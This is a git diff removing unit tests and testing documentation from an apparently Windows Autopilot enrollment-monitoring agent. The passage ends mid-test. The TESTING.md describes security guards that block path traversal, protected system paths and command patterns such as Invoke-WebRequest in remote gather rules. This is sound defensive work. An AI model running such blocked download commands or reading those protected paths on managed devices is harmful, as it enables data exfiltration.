[InlineData(EnrollmentType.Classic, "v1")] - [InlineData(EnrollmentType.DevicePreparation, "v2")] - [InlineData(EnrollmentType.Unknown, "v1")] // legacy-safe default - public void ToWireFormat_ProducesExpectedString(EnrollmentType type, string expected) - { - Assert.Equal(expected, type.ToWireFormat()); - } - - // -- Flow handler policy bits -- - - [Fact] - public void ClassicAutopilotFlow_TracksEspPhases_True() - { - var flow = new ClassicAutopilotFlow(); - Assert.Equal(EnrollmentType.Classic, flow.SupportedType); - Assert.True(flow.TracksEspPhases); - Assert.True(flow.AppliesEspGateOnDesktopArrival); - } - - [Fact] - public void DevicePreparationFlow_DoesNotTrackEspPhases() - { - var flow = new DevicePreparationFlow(); - Assert.Equal(EnrollmentType.DevicePreparation, flow.SupportedType); - Assert.False(flow.TracksEspPhases); - Assert.False(flow.AppliesEspGateOnDesktopArrival); - } - - // -- Factory selection -- - - [Fact] - public void Factory_Create_Classic_ReturnsClassicFlow() - { - Assert.IsType(EnrollmentFlowFactory.Create(EnrollmentType.Classic)); - } - - [Fact] - public void Factory_Create_DevicePreparation_ReturnsDevPrepFlow() - { - Assert.IsType(EnrollmentFlowFactory.Create(EnrollmentType.DevicePreparation)); - } - - [Fact] - public void Factory_Create_Unknown_FallsBackToClassic() - { - // Unknown must not produce null — Classic is the safe legacy default. - Assert.IsType(EnrollmentFlowFactory.Create(EnrollmentType.Unknown)); - } - - [Theory] - [InlineData("v1", typeof(ClassicAutopilotFlow))] - [InlineData("v2", typeof(DevicePreparationFlow))] - [InlineData("", typeof(ClassicAutopilotFlow))] - [InlineData("bogus", typeof(ClassicAutopilotFlow))] - public void Factory_FromWireFormat_PicksCorrectFlow(string wire, System.Type expectedType) - { - var flow = EnrollmentFlowFactory.FromWireFormat(wire); - Assert.IsType(expectedType, flow); - } - - // -- RegisterSessionResponse back-compat guard -- - - [Fact] - public void RegisterSessionResponse_DefaultValidatedBy_IsUnknown() - { - // A response from an older backend that does not set ValidatedBy must - // deserialize with ValidatedBy = Unknown so the agent falls back to - // its own registry detection. - var response = new RegisterSessionResponse(); - Assert.Equal(ValidatorType.Unknown, response.ValidatedBy); - } - - [Fact] - public void ValidatorType_Unknown_IsDefaultValue() - { - // Newtonsoft.Json / System.Text.Json default for a missing enum field is 0. - // Unknown must be 0 so missing-field deserialization stays backward compatible. - Assert.Equal(0, (int)ValidatorType.Unknown); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Helpers/TestLogger.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Helpers/TestLogger.cs deleted file mode 100644 index 14c8f99e..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Helpers/TestLogger.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; -using System.IO; -using AutopilotMonitor.Agent.Core.Logging; - -namespace AutopilotMonitor.Agent.Core.Tests.Helpers -{ - /// - /// Minimal AgentLogger for test use. Writes to a temp directory that is auto-cleaned. - /// - internal static class TestLogger - { - private static readonly Lazy _instance = new Lazy(() => - { - var dir = Path.Combine(Path.GetTempPath(), "autopilot-test-logs-" + Guid.NewGuid().ToString("N")); - return new AgentLogger(dir); - }); - - public static AgentLogger Instance => _instance.Value; - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/DiagnosticsPackageServiceUrlBuilderTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/DiagnosticsPackageServiceUrlBuilderTests.cs deleted file mode 100644 index 3da7b9e5..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/DiagnosticsPackageServiceUrlBuilderTests.cs +++ /dev/null @@ -1,71 +0,0 @@ -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Monitoring -{ - /// - /// Phase 3 of the hosted-diagnostics work: V1 agent must build the blob PUT URL - /// destination-aware so a Hosted SAS (already blob-scoped at - /// {tenantId}/{filename}) is used as-is, while a CustomerSas (container-scoped) - /// continues to get the blob name appended. Mirrors the V2 tests in - /// AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Runtime.DiagnosticsPackageServiceTests. - /// V1 stays on this code path until phase-out per feedback_codex_findings_v2_only. - /// - public class DiagnosticsPackageServiceUrlBuilderTests - { - [Theory] - [InlineData("Hosted")] - [InlineData("hosted")] - [InlineData("HOSTED")] - public void BuildBlobUploadUrl_HostedDestination_ReturnsSasUnchanged(string destination) - { - const string hostedSas = "https://account.blob.core.windows.net/diagnostics/11111111-1111-1111-1111-111111111111/AgentDiagnostics-x.zip?sig=abc"; - var result = DiagnosticsPackageService.BuildBlobUploadUrl(hostedSas, "AgentDiagnostics-x.zip", destination); - Assert.Equal(hostedSas, result); - } - - [Fact] - public void BuildBlobUploadUrl_CustomerSas_AppendsBlobNameBeforeQuery() - { - const string containerSas = "https://customer.blob.core.windows.net/diagnostics?sv=2024-10-04&sig=xyz"; - var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "AgentDiagnostics-x.zip", "CustomerSas"); - Assert.Equal( - "https://customer.blob.core.windows.net/diagnostics/AgentDiagnostics-x.zip?sv=2024-10-04&sig=xyz", - result); - } - - [Fact] - public void BuildBlobUploadUrl_NullDestination_AppendsBlobName_LegacyBackendCompat() - { - // Older backends without the Destination field return null; agent must - // preserve the historical container-SAS append behaviour. - const string containerSas = "https://customer.blob.core.windows.net/diag?sig=abc"; - var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "diag.zip", null); - Assert.Equal("https://customer.blob.core.windows.net/diag/diag.zip?sig=abc", result); - } - - [Fact] - public void BuildBlobUploadUrl_UnknownDestination_FallsBackToCustomerSasBehaviour() - { - const string containerSas = "https://customer.blob.core.windows.net/diag?sig=abc"; - var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "diag.zip", "Vendor"); - Assert.EndsWith("/diag.zip?sig=abc", result); - } - - [Fact] - public void BuildBlobUploadUrl_SasWithoutQueryString_AppendsBlobName() - { - const string noQuery = "https://customer.blob.core.windows.net/diag"; - var result = DiagnosticsPackageService.BuildBlobUploadUrl(noQuery, "diag.zip", "CustomerSas"); - Assert.Equal("https://customer.blob.core.windows.net/diag/diag.zip", result); - } - - [Fact] - public void BuildBlobUploadUrl_HostedWithoutQueryString_StillReturnsUnchanged() - { - const string hostedNoQuery = "https://account.blob.core.windows.net/diagnostics/tenant/x.zip"; - var result = DiagnosticsPackageService.BuildBlobUploadUrl(hostedNoQuery, "x.zip", "Hosted"); - Assert.Equal(hostedNoQuery, result); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/IntegrityBypassAnalyzerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/IntegrityBypassAnalyzerTests.cs deleted file mode 100644 index ef623b88..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/IntegrityBypassAnalyzerTests.cs +++ /dev/null @@ -1,115 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using AutopilotMonitor.Shared.Models; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Monitoring -{ - /// - /// Sanity tests for IntegrityBypassAnalyzer. The analyzer reads HKLM/HKU, Win32_Tpm - /// and the real filesystem — we don't mock those here. Instead we verify the event - /// contract (type / phase / severity / required payload shape) against whatever the - /// test host reports. On any healthy dev machine this should emit a single - /// "integrity_bypass_analysis" event with Phase=Unknown and the documented payload. - /// - public class IntegrityBypassAnalyzerTests - { - private IntegrityBypassAnalyzer CreateAnalyzer(List sink) - { - return new IntegrityBypassAnalyzer( - sessionId: "test-session", - tenantId: "test-tenant", - emitEvent: evt => sink.Add(evt), - logger: TestLogger.Instance); - } - - [Fact] - public void AnalyzeAtStartup_EmitsSingleIntegrityBypassEvent_WithUnknownPhase() - { - var events = new List(); - var analyzer = CreateAnalyzer(events); - - analyzer.AnalyzeAtStartup(); - - var evt = Assert.Single(events); - Assert.Equal("integrity_bypass_analysis", evt.EventType); - Assert.Equal(EnrollmentPhase.Unknown, evt.Phase); - Assert.Equal("IntegrityBypassAnalyzer", evt.Source); - Assert.Equal("test-session", evt.SessionId); - Assert.Equal("test-tenant", evt.TenantId); - Assert.NotNull(evt.Data); - Assert.True(evt.Data.ContainsKey("severity")); - Assert.True(evt.Data.ContainsKey("finding")); - Assert.True(evt.Data.ContainsKey("findings")); - Assert.True(evt.Data.ContainsKey("triggered_at")); - Assert.Equal("startup", evt.Data["triggered_at"]); - Assert.True(evt.Data.ContainsKey("checks")); - } - - [Fact] - public void AnalyzeAtShutdown_IsNoOp() - { - // Integrity bypass artefacts are pre-enrollment state and do not change during - // enrollment. The shutdown call must not emit a duplicate event. - var events = new List(); - var analyzer = CreateAnalyzer(events); - - analyzer.AnalyzeAtShutdown(); - - Assert.Empty(events); - } - - [Fact] - public void Payload_ContainsDocumentedCheckSections() - { - var events = new List(); - var analyzer = CreateAnalyzer(events); - - analyzer.AnalyzeAtStartup(); - - var evt = Assert.Single(events); - var checks = Assert.IsAssignableFrom>(evt.Data["checks"]); - Assert.True(checks.ContainsKey("lab_config")); - Assert.True(checks.ContainsKey("mo_setup")); - Assert.True(checks.ContainsKey("pchc_upgrade_eligibility")); - Assert.True(checks.ContainsKey("setup_scripts")); - Assert.True(checks.ContainsKey("correlation")); - - // Setup scripts entry is always a list of 2 (SetupComplete + ErrorHandler) - var scripts = Assert.IsAssignableFrom(checks["setup_scripts"]); - var count = scripts.Cast().Count(); - Assert.Equal(2, count); - } - - [Fact] - public void Severity_IsLowerCaseString() - { - var events = new List(); - var analyzer = CreateAnalyzer(events); - - analyzer.AnalyzeAtStartup(); - - var evt = Assert.Single(events); - var severity = Assert.IsType(evt.Data["severity"]); - Assert.Equal(severity, severity.ToLowerInvariant()); - // Must be one of the documented bucket labels - Assert.Contains(severity, new[] { "trace", "debug", "info", "warning", "error", "critical" }); - } - - [Fact] - public void NullConstructorArgs_Throw() - { - Assert.Throws(() => - new IntegrityBypassAnalyzer(null, "t", evt => { }, TestLogger.Instance)); - Assert.Throws(() => - new IntegrityBypassAnalyzer("s", null, evt => { }, TestLogger.Instance)); - Assert.Throws(() => - new IntegrityBypassAnalyzer("s", "t", null, TestLogger.Instance)); - Assert.Throws(() => - new IntegrityBypassAnalyzer("s", "t", evt => { }, null)); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/MemoryNativeMethodsTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/MemoryNativeMethodsTests.cs deleted file mode 100644 index 016512db..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/MemoryNativeMethodsTests.cs +++ /dev/null @@ -1,19 +0,0 @@ -using AutopilotMonitor.Agent.Core.Monitoring.Interop; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Monitoring -{ - public class MemoryNativeMethodsTests - { - [Fact] - public void TryGetMemoryInfo_ReturnsPlausibleValues() - { - var ok = MemoryNativeMethods.TryGetMemoryInfo(out var availBytes, out var totalBytes, out var loadPercent); - - Assert.True(ok, "GlobalMemoryStatusEx should succeed on a normal Windows test host"); - Assert.True(totalBytes > 0, "total physical memory should be > 0"); - Assert.True(availBytes <= totalBytes, "available must not exceed total"); - Assert.InRange(loadPercent, 0u, 100u); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Security/BootstrapConfigCleanupTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Security/BootstrapConfigCleanupTests.cs deleted file mode 100644 index 76bdcff0..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Security/BootstrapConfigCleanupTests.cs +++ /dev/null @@ -1,141 +0,0 @@ -using System; -using System.IO; -using System.Net; -using System.Net.Http; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Security; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Security -{ - public class BootstrapConfigCleanupTests : IDisposable - { - private readonly string _tempDir; - private readonly string _bootstrapPath; - - public BootstrapConfigCleanupTests() - { - _tempDir = Path.Combine(Path.GetTempPath(), "ap-bootstrap-cleanup-" + Guid.NewGuid().ToString("N")); - Directory.CreateDirectory(_tempDir); - _bootstrapPath = Path.Combine(_tempDir, "bootstrap-config.json"); - File.WriteAllText(_bootstrapPath, "{\"BootstrapToken\":\"secret\"}"); - } - - public void Dispose() - { - try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); } - catch { /* best effort */ } - } - - private static HttpClient BuildClient(FakeHttpMessageHandler handler) - => new HttpClient(handler) { Timeout = TimeSpan.FromSeconds(5) }; - - private static HttpRequestMessage BuildRequest() - => new HttpRequestMessage(HttpMethod.Get, "https://example.invalid/api/agent/config"); - - [Fact] - public async Task Probe_200_DeletesFile() - { - var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.OK)); - using (var http = BuildClient(handler)) - { - await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync( - _bootstrapPath, http, BuildRequest(), TestLogger.Instance); - } - - Assert.False(File.Exists(_bootstrapPath), "bootstrap-config.json should have been deleted after successful probe"); - } - - [Fact] - public async Task Probe_204_DeletesFile() - { - var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.NoContent)); - using (var http = BuildClient(handler)) - { - await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync( - _bootstrapPath, http, BuildRequest(), TestLogger.Instance); - } - - Assert.False(File.Exists(_bootstrapPath), "2xx responses must count as success"); - } - - [Fact] - public async Task Probe_401_KeepsFile() - { - var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.Unauthorized)); - using (var http = BuildClient(handler)) - { - await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync( - _bootstrapPath, http, BuildRequest(), TestLogger.Instance); - } - - Assert.True(File.Exists(_bootstrapPath), "401 must keep the bootstrap file for retry next run"); - } - - [Fact] - public async Task Probe_500_KeepsFile() - { - var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.InternalServerError)); - using (var http = BuildClient(handler)) - { - await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync( - _bootstrapPath, http, BuildRequest(), TestLogger.Instance); - } - - Assert.True(File.Exists(_bootstrapPath), "5xx must keep the bootstrap file"); - } - - [Fact] - public async Task Probe_NetworkError_KeepsFile_DoesNotThrow() - { - var handler = new FakeHttpMessageHandler(_ => throw new HttpRequestException("simulated connection refused")); - using (var http = BuildClient(handler)) - { - await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync( - _bootstrapPath, http, BuildRequest(), TestLogger.Instance); - } - - Assert.True(File.Exists(_bootstrapPath), "network failure must keep the file and not throw"); - } - - [Fact] - public async Task Probe_200_ButFileAlreadyGone_DoesNotThrow() - { - File.Delete(_bootstrapPath); - var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.OK)); - using (var http = BuildClient(handler)) - { - await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync( - _bootstrapPath, http, BuildRequest(), TestLogger.Instance); - } - - Assert.False(File.Exists(_bootstrapPath)); - } - - private sealed class FakeHttpMessageHandler : HttpMessageHandler - { - private readonly Func _responder; - - public FakeHttpMessageHandler(Func responder) - { - _responder = responder; - } - - protected override Task SendAsync(HttpRequestMessage request, CancellationToken cancellationToken) - { - try - { - return Task.FromResult(_responder(request)); - } - catch (Exception ex) - { - var tcs = new TaskCompletionSource(); - tcs.SetException(ex); - return tcs.Task; - } - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Security/SystemPathsTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Security/SystemPathsTests.cs deleted file mode 100644 index c50b9002..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Security/SystemPathsTests.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System; -using System.IO; -using System.Linq; -using AutopilotMonitor.Agent.Core.Security; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Security -{ - /// - /// Smoke test for : every pinned System32 binary must - /// exist on the test host. This catches typos, bad Path.Combine segments, - /// and accidental rewrites of the historical WindowsPowerShell\v1.0 path — - /// all failure modes that would brick the Agent on every Windows device. - /// Windows-only (the Agent runs on net48 and CI runs on Windows agents). - /// - public class SystemPathsTests - { - [Fact] - public void AllPinnedPaths_ExistOnWindows() - { - Assert.Equal(PlatformID.Win32NT, Environment.OSVersion.Platform); - - var paths = new (string name, string path)[] - { - (nameof(SystemPaths.Cmd), SystemPaths.Cmd), - (nameof(SystemPaths.Shutdown), SystemPaths.Shutdown), - (nameof(SystemPaths.TzUtil), SystemPaths.TzUtil), - (nameof(SystemPaths.Netsh), SystemPaths.Netsh), - (nameof(SystemPaths.PowerShell), SystemPaths.PowerShell), - }; - - var missing = paths - .Where(p => !File.Exists(p.path)) - .Select(p => $"{p.name}: {p.path}") - .ToList(); - - Assert.True( - missing.Count == 0, - "SystemPaths point to missing binaries:\n " + string.Join("\n ", missing)); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/TESTING.md b/src/Agent/AutopilotMonitor.Agent.Core.Tests/TESTING.md deleted file mode 100644 index 4a30217e..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/TESTING.md +++ /dev/null @@ -1,95 +0,0 @@ -# Agent Unit Tests - -## Overview - -This test suite protects the Autopilot Monitor Agent against regressions in the enrollment state machine, security guards, log parsing, and crash recovery. The agent runs on real enrollment devices where debugging is difficult — these tests catch bugs before deployment. - -**Framework:** xUnit 2.9.2 | **Target:** .NET Framework 4.8 | **Mocking:** None (pure logic tests with callbacks) - -## Risk Matrix - -| Risk Category | Concrete Bug | Test Suite | Impact | -|---|---|---|---| -| **Double enrollment events** | Two `enrollment_complete` = corrupted session data | CompletionTests | Session data corruption in backend | -| **Hybrid Join false-completion** | ESP exit during mid-enrollment reboot triggers premature completion | CompletionTests (Reboot Gate) | Agent self-destructs before enrollment finishes | -| **ESP resumption missed** | After hybrid join reboot: Hello state not reset, stale timers fire | EventHandlerTests | Wrong completion signals | -| **Phase bleed** | Device-phase apps appear in AccountSetup timeline | AppPackageStateListTests | Incorrect enrollment timeline | -| **Security bypass** | Path traversal in gather rules or diagnostics collection | GatherRuleGuardsTests, DiagnosticsPathGuardsTests | Data exfiltration from device | -| **Wrong device-only classification** | 3-boolean decision tree misclassifies deployments | CompletionTests | Thousands of deployments affected | -| **Premature completion** | Desktop signal triggers completion while ESP is still active | CompletionTests (ESP Gate) | Enrollment fails silently | -| **Endless enrollment wait** | Hello not configured but agent waits indefinitely | CompletionTests | Zombie agent until 6h timeout | -| **Log parsing crash** | Unexpected date format in IME log | CmTraceLogParserTests | Agent stops processing events | -| **State loss after crash** | Hybrid join flag, signal timestamps lost on restart | PersistenceTests | Duplicate events, wrong completion path | -| **Prefix spoofing** | `SOFTWARE\MicrosoftEvil` matches `SOFTWARE\Microsoft` prefix | GatherRuleGuardsTests | Unauthorized registry access | -| **Desktop false-positive** | SYSTEM account explorer.exe triggers desktop arrival | DesktopArrivalDetectorTests | Premature enrollment completion | - -## Test Suites - -### AppPackageStateTests - -**File:** `Tracking/AppPackageStateTests.cs` -**Source:** `Monitoring/Tracking/AppPackageState.cs` - -Tests app installation state transition guards. Prevents illegal state downgrades, broken auto-skip logic for inverse-detection apps, and incorrect upgrade-only protection from Win32AppState simplification. - -### AppPackageStateListTests - -**File:** `Tracking/AppPackageStateListTests.cs` -**Source:** `Monitoring/Tracking/AppPackageStateList.cs` - -Tests phase isolation (ignore list), dependency cascade (Error/Postponed propagation), circular dependency protection, and completion detection including auto-skip of untouched dependency-only packages. - -### CmTraceLogParserTests - -**File:** `Tracking/CmTraceLogParserTests.cs` -**Source:** `Monitoring/Tracking/CmTraceLogParser.cs` - -Tests CMTrace log format parsing used for IME log files. Covers single-digit months (M-d-yyyy), fractional second truncation (>7 digits), and graceful handling of non-CMTrace lines. - -### LogFilePositionTrackerTests - -**File:** `Tracking/LogFilePositionTrackerTests.cs` -**Source:** `Monitoring/Tracking/LogFilePositionTracker.cs` - -Tests incremental log file reading: position tracking, log rotation detection (file shrinks), and crash recovery via position restoration. - -### GatherRuleGuardsTests - -**File:** `Collectors/GatherRuleGuardsTests.cs` -**Source:** `Monitoring/Collectors/GatherRuleGuards.cs` - -Tests security guards for remote gather rules. Critical: segment-bounded matching prevents prefix spoofing, C:\Users always blocked (even unrestricted), hard-blocked command patterns (Invoke-WebRequest etc.) apply in all modes, max command length enforced. - -### DiagnosticsPathGuardsTests - -**File:** `Collectors/DiagnosticsPathGuardsTests.cs` -**Source:** `Monitoring/Collectors/DiagnosticsPathGuards.cs` - -Tests path validation for configurable diagnostics collection. Path traversal prevention via GetFullPath normalization, C:\Users hard block, System32\config hard block, environment variable expansion. - -### DesktopArrivalDetectorTests - -**File:** `Collectors/DesktopArrivalDetectorTests.cs` -**Source:** `Monitoring/Collectors/DesktopArrivalDetector.cs` - -Tests user exclusion logic. SYSTEM, LOCAL SERVICE, DefaultUser*, domain-prefixed accounts must be excluded. Real users (CONTOSO\john.doe) must not be filtered. Null/empty = excluded (fail-safe). - -### EnrollmentStatePersistenceTests - -**File:** `Tracking/EnrollmentStatePersistenceTests.cs` -**Source:** `Monitoring/Tracking/EnrollmentStatePersistence.cs` - -Tests state serialization round-trip including all fields (IsHybridJoin, signal timestamps, SignalsSeen list). Verifies graceful handling of missing files and corrupt JSON. - -## Architecture Notes - -- **No mocking framework needed** — the agent uses `Action` callbacks, making it easy to capture emitted events in tests -- **`InternalsVisibleTo`** allows access to `internal` members like `DesktopArrivalDetector.IsExcludedUser` -- **State machine tests** use `EnrollmentStatePersistence` with temp directories to pre-load state, then trigger completion paths -- All tests are **deterministic** (no timing, no OS calls) and **fast** (pure logic, minimal I/O) - -## Running Tests - -```bash -dotnet test src/Agent/AutopilotMonitor.Agent.Core.Tests/ --nologo -v quiet -``` diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Telemetry/DeviceInfo/DeviceInfoProviderVmDetectionTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Telemetry/DeviceInfo/DeviceInfoProviderVmDetectionTests.cs deleted file mode 100644 index deb69a67..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Telemetry/DeviceInfo/DeviceInfoProviderVmDetectionTests.cs +++ /dev/null @@ -1,66 +0,0 @@ -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Telemetry.DeviceInfo; - -/// -/// V1 mirror of DeviceInfoProviderVmDetectionTests — V1 is still the active ingest path -/// until V2 cutover, so the VM detection logic must stay in lock-step. See V2 sibling file -/// for the rationale (conservative-bias false negatives over false positives). -/// -public class DeviceInfoProviderVmDetectionTests -{ - [Fact] public void HyperV_VM_DetectedByModel() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Virtual Machine")); - - [Fact] public void HyperV_VM_CaseInsensitive() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("microsoft corporation", "virtual machine")); - - [Fact] public void SurfaceLaptop_NotVM() => - Assert.False(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Surface Laptop 5")); - - [Fact] public void SurfacePro_NotVM() => - Assert.False(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Surface Pro 9")); - - [Fact] public void SurfaceBook_NotVM() => - Assert.False(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Surface Book 3")); - - [Fact] public void VMware_DetectedByManufacturer() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("VMware, Inc.", "VMware Virtual Platform")); - - [Fact] public void VMware_DetectedByModel_Defensive() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("Other Vendor", "VMware Virtual Platform")); - - [Fact] public void VirtualBox_DetectedByManufacturer() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("innotek GmbH", "VirtualBox")); - - [Fact] public void VirtualBox_DetectedByModel_Defensive() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("Other Vendor", "VirtualBox")); - - [Fact] public void Xen_Detected() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("Xen", "HVM domU")); - - [Fact] public void QEMU_Detected() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("QEMU", "Standard PC")); - - [Fact] public void Parallels_Detected() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("Parallels Software International Inc.", "Parallels Virtual Platform")); - - [Fact] public void RedHat_KVM_Detected() => - Assert.True(DeviceInfoProvider.IsVirtualMachine("Red Hat", "KVM")); - - [Fact] public void Lenovo_NotVM() => - Assert.False(DeviceInfoProvider.IsVirtualMachine("LENOVO", "20XW00JEMZ")); - - [Fact] public void Dell_NotVM() => - Assert.False(DeviceInfoProvider.IsVirtualMachine("Dell Inc.", "Latitude 7430")); - - [Fact] public void HP_NotVM() => - Assert.False(DeviceInfoProvider.IsVirtualMachine("HP", "EliteBook 840 G9")); - - [Fact] public void NullManufacturerAndModel_NotVM() => - Assert.False(DeviceInfoProvider.IsVirtualMachine(null!, null!)); - - [Fact] public void EmptyManufacturerAndModel_NotVM() => - Assert.False(DeviceInfoProvider.IsVirtualMachine("", "")); -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateListTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateListTests.cs deleted file mode 100644 index 7e09641b..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateListTests.cs +++ /dev/null @@ -1,281 +0,0 @@ -using System.Collections.Generic; -using System.Linq; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Tracking -{ - /// - /// Tests phase isolation (ignore list), dependency cascading, completion detection, - /// and circular dependency protection. - /// Prevents: phase bleed, broken dependency chains, infinite recursion. - /// - public class AppPackageStateListTests - { - private static AppPackageStateList CreateList() - => new AppPackageStateList(null); // null logger is fine for tests - - // -- Ignore list (phase isolation) -- - - [Fact] - public void GetPackage_InIgnoreList_ReturnsNull() - { - var list = CreateList(); - list.Add(new AppPackageState("app-001", 0)); - list.IgnoreList.Add("app-001"); - - var result = list.GetPackage("app-001"); - - Assert.Null(result); - } - - [Fact] - public void IgnoreList_CaseInsensitive() - { - var list = CreateList(); - list.Add(new AppPackageState("abc-123-DEF", 0)); - list.IgnoreList.Add("abc-123-def"); - - var result = list.GetPackage("ABC-123-DEF"); - - Assert.Null(result); - } - - [Fact] - public void GetPackage_NotInIgnoreList_ReturnsPackage() - { - var list = CreateList(); - list.Add(new AppPackageState("app-001", 0)); - - var result = list.GetPackage("app-001"); - - Assert.NotNull(result); - Assert.Equal("app-001", result.Id); - } - - [Fact] - public void GetPackage_CreateIfNotFound_CreatesNew() - { - var list = CreateList(); - - var result = list.GetPackage("new-app", createIfNotFound: true); - - Assert.NotNull(result); - Assert.Equal("new-app", result.Id); - Assert.Single(list); - } - - [Fact] - public void GetPackage_NullId_ReturnsNull() - { - var list = CreateList(); - - Assert.Null(list.GetPackage(null)); - Assert.Null(list.GetPackage("")); - } - - // -- Dependency cascading -- - - [Fact] - public void UpdateState_ErrorCascadesToDependents() - { - var list = CreateList(); - var appA = new AppPackageState("app-a", 0); - appA.UpdateDependsOn(new HashSet { "app-b" }); - var appB = new AppPackageState("app-b", 1); - list.Add(appA); - list.Add(appB); - - list.UpdateState("app-b", AppInstallationState.Error); - - Assert.Equal(AppInstallationState.Error, appB.InstallationState); - Assert.Equal(AppInstallationState.Error, appA.InstallationState); - } - - [Fact] - public void UpdateState_PostponedCascadesToDependents() - { - var list = CreateList(); - var appA = new AppPackageState("app-a", 0); - appA.UpdateDependsOn(new HashSet { "app-b" }); - var appB = new AppPackageState("app-b", 1); - list.Add(appA); - list.Add(appB); - - list.UpdateState("app-b", AppInstallationState.Postponed); - - Assert.Equal(AppInstallationState.Postponed, appA.InstallationState); - } - - [Fact] - public void UpdateState_InstalledDoesNotCascade() - { - var list = CreateList(); - var appA = new AppPackageState("app-a", 0); - appA.UpdateIntent(AppIntent.Install); - appA.UpdateDependsOn(new HashSet { "app-b" }); - var appB = new AppPackageState("app-b", 1); - appB.UpdateIntent(AppIntent.Install); - appB.UpdateState(AppInstallationState.Downloading); - list.Add(appA); - list.Add(appB); - - list.UpdateState("app-b", AppInstallationState.Installed); - - // appA should NOT be cascaded — Installed does not cascade - Assert.NotEqual(AppInstallationState.Installed, appA.InstallationState); - } - - [Fact] - public void UpdateState_DeepCascade_TwoLevels() - { - var list = CreateList(); - var appA = new AppPackageState("app-a", 0); - appA.UpdateDependsOn(new HashSet { "app-b" }); - var appB = new AppPackageState("app-b", 1); - appB.UpdateDependsOn(new HashSet { "app-c" }); - var appC = new AppPackageState("app-c", 2); - list.AddRange(new[] { appA, appB, appC }); - - list.UpdateState("app-c", AppInstallationState.Error); - - Assert.Equal(AppInstallationState.Error, appC.InstallationState); - Assert.Equal(AppInstallationState.Error, appB.InstallationState); - 